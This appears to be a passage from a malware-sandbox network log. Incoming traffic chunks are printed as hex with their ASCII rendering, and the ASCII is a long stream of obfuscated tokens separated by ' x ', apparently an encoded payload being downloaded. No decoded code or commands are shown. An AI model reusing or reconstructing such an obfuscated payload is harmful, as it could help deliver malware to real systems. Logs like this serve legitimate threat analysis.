x Kt x OOK x Kt x KE x OOk x KE x OOK x OxY x kO x tR x Kt x Ooo x Yt x to x kx x Kt x Yt x kk x OxO x YR x kx x Kt x kR x YO x OOk x Rk x Kt x KQ x Oxx x YY x OOQ x Kt x Yt x kk x OxO x YR x kx x Kt x kR x YO x OOk
2021-10-29 15:55:36 UTC	2745	IN	Data Raw: 4f 4f 4f 20 78 20 6b 51 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4f 20 78 20 52 74 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 4f 4f 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 4f 4f 51 20 78 20 4f 4f 4b 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4b 74 Data Ascii: OOO x kQ x kY x kt x Kt x YK x tO x Rt x RR x OOk x Yt x OOO x kY x RY x tR x OxK x tK x OxY x tE x RY x kx x OOY x OOQ x OOK x OxK x OOk x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x Ooo x Kt x Kt
2021-10-29 15:55:36 UTC	2749	IN	Data Raw: 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 Data Ascii: x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x Ooo x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x
2021-10-29 15:55:36 UTC	2753	IN	Data Raw: 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 74 4b 20 78 20 74 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 6b 20 78 20 4f 78 4f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4f 4f 6f 20 78 20 74 52 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 74 20 78 20 51 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 4f 4f 4b 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4b 74 20 78 20 59 59 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 52 20 78 20 4b 74 Data Ascii: Kt x Kt x RY x YO x Oxk x OOk x Kt x OOR x tk x tK x to x Kt x YR x Rk x OxO x kt x Kt x Kt x RY x YO x Oxk x OOk x Kt x OOQ x tR x OOo x tR x Kt x YR x Rt x Qt x tQ x Kt x Kt x RY x OOK x Oxt x Oxo x Kt x OOR x tK x OOO x YO x Kt x YY x kE x tO x tR x Kt
2021-10-29 15:55:36 UTC	2757	IN	Data Raw: 59 59 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 6b 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 74 20 78 20 51 78 20 78 20 52 51 20 78 20 4b 6b 20 78 20 74 45 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 74 6f 20 78 20 59 74 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 74 78 20 78 20 6b 52 20 78 20 4f 78 74 20 78 20 4b 51 20 78 20 6b 45 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 45 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 74 20 78 20 59 45 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 51 6b 20 78 20 59 78 20 78 20 6b Data Ascii: YY x YO x Kt x KE x OOK x OOt x Yt x Kt x Kt x kx x Kk x QQ x YY x Kt x Qx x RQ x Kk x tE x Yt x OxR x OOY x Qx x to x Yt x tt x Rk x RY x kO x tx x kR x Oxt x KQ x kE x RY x Kt x YE x tK x kK x OxE x Oxo x Kt x tx x Oxt x YE x kx x Kt x OOQ x Qk x Yx x k
2021-10-29 15:55:36 UTC	2761	IN	Data Raw: 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4b 45 Data Ascii: KE x Ooo x QQ x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE x Kt x KE x Ooo x Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x Oxo x Kt x KE x Ooo x Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE x Kt x KE
2021-10-29 15:55:36 UTC	2765	IN	Data Raw: 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 4b 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b Data Ascii: RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x kK x RY x RY x RY x RY x RY x RY x RR x tK x OOx x Rt x kQ x RY x kY x RY x RR x OoO x RY x tO x YR x RY x QQ x RY x RR x Oxk x RY x to x tE x RY x Oxx x RY x RR x OOo x RY x tO x k
2021-10-29 15:55:36 UTC	2769	IN	Data Raw: 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 51 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 74 45 20 78 20 52 Data Ascii: Q x OOQ x RY x tK x RY x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x kO x RY x tO x OOQ x RY x Oxx x kO x RR x Ooo x RY x RY x RY x RY x RY x RY x RR x kQ x OOx x RQ x RQ x RY x Oxx x kO x RR x Kk x RY x tO x YR x RY x tE x R
2021-10-29 15:55:36 UTC	2773	IN	Data Raw: 20 4f 4f 78 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 4f 4f 78 Data Ascii: OOx x RQ x tt x RY x Qt x RY x RR x OOk x RY x tO x YR x RY x QQ x OOQ x RR x Oxk x RY x Rt x RY x RY x kO x OOQ x RR x OOk x RY x tO x OOQ x RY x Oxx x kO x RR x OOR x RY x Rt x kQ x RY x Qk x OxE x RR x Ooo x RY x RY x RY x RY x RY x RY x RR x tt x OOx
2021-10-29 15:55:36 UTC	2777	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 Data Ascii: RY x RY x Oxk x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x tO x RY x kx x YR x RY x Rt x kO x Rk x OOK x RY x Kt x Kt x Kt x OxE x OxE x RR x kY x RY x tO x OxE x RY x Qx x kO x RY x OxE x RY x tO x kQ x RY x Qk x OOQ x RR x OOY x RY x tO x OOQ x RY x
2021-10-29 15:55:36 UTC	2781	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 6b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 4f Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Oxk x RY x to x RY x RR x OOQ x RY x kt x OOQ x RY x tK x RY x tQ x YR x Rk x RY x RY x Rk x Kt x Kt x Yo x tE x RY x kO x OOQ x RR x OOk x RY x tO x Kk x RY x Qk x kO x RR x OxK x RY x tO
2021-10-29 15:55:36 UTC	2785	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 52 20 78 20 6b 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 52 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 78 45 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x OxE x RY x Rt x RR x kY x tO x OxE x RR x kt x RY x RR x tR x RY x RY x OOQ x RY x KE x OxE x tt x RY x RY x kx x Kt x Kt x OxE x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 15:55:36 UTC	2789	IN	Data Raw: 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 Data Ascii: xE x RY x OxE x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x Rt x RY x RY x Qx x OxE x RR x KQ x RY x tO x OOQ x RY x Qk x RY x RY x OxE x RY x to x RY x RY x kQ x kO x RR x Kk x RY x tO x OxE x RY x tE x RY x RR x OOo x RY x to x tt x RY x tE x RY x RR
2021-10-29 15:55:36 UTC	2793	IN	Data Raw: 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 52 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 Data Ascii: x tO x YR x RY x Qx x RY x RR x Oxk x RY x Rk x OOO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RY x OxK x kY x tY x tt x RY x OoO x kO x Rt x Kk x RY x tR x kQ x RY x RR x OOQ x kO x RY x RY x kx x Kt
2021-10-29 15:55:36 UTC	2797	IN	Data Raw: 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: Y x Qk x OOQ x RR x OOt x RY x tO x Kk x RY x Qx x kO x RR x OOt x RY x to x kO x RY x tE x RY x RR x kK x RY x to x kO x RY x QQ x OxE x RR x OOo x RY x tO x Yo x RY x Qx x OOQ x RR x Ooo x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 15:55:36 UTC	2801	IN	Data Raw: 78 20 59 52 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 Data Ascii: x YR x RY x Qk x OOQ x RR x Ooo x RY x tO x kY x RY x tE x RY x RR x kO x RY x to x tE x RY x Qk x OOQ x RR x OxR x RY x tO x kY x RY x QQ x OOQ x RR x Ooo x RY x RY x RY x RY x Rt x RY x Rt x kO x RY x kO x RY x RR x kK x kO x RR x kK x RY x Rt x RY x RY
2021-10-29 15:55:36 UTC	2805	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 52 51 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 51 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: RY x RY x RY x Rt x Oxo x RY x tx x RQ x RY x tt x OxE x RY x tQ x RY x tQ x YR x Rk x Kt x Kt x KE x RY x RY x Rt x kQ x RY x kE x RY x RR x OOo x RY x tO x kO x RY x Qx x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x kY x RY x RY x RY x RY x RY
2021-10-29 15:55:36 UTC	2809	IN	Data Raw: 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 59 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f Data Ascii: o x tE x RY x Qx x kO x RR x OxK x RY x to x kO x RY x Qx x kO x RR x Oxt x RY x Rt x RY x RY x kQ x OxE x RR x YE x RY x Rt x RY x RY x Oxx x kO x RR x Ooo x RY x tO x Oxt x RY x Qk x OxE x RR x OOx x RY x RR x tt x RY x kY x OOQ x RR x Oxk x RY x tO x O
2021-10-29 15:55:36 UTC	2813	IN	Data Raw: 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 Data Ascii: RY x tO x kY x RY x Qx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RQ x RY x kO x kO x RR x Oxt x RY x tO x kO x RY x tE x RY x RR x tx x RY x to x OxE x RY x QQ x RY x RR x OOY x RY x tO x YR
2021-10-29 15:55:36 UTC	2817	IN	Data Raw: 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 Data Ascii: OxE x RR x OOk x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x to x tE x RY x tE x RY x RR x OOY x RY x tO x YR x RY x Qx x OOQ x RR x OOx x RY x tO x kY x RY x Qx x RY x RY x OOR x RY x tO x Oxt x RY x Qk x OxE x RY x OxE x RY x to x kY x RY x QQ x OOQ x
2021-10-29 15:55:36 UTC	2821	IN	Data Raw: 51 20 78 20 52 52 20 78 20 59 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 51 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 78 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 52 20 78 20 52 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 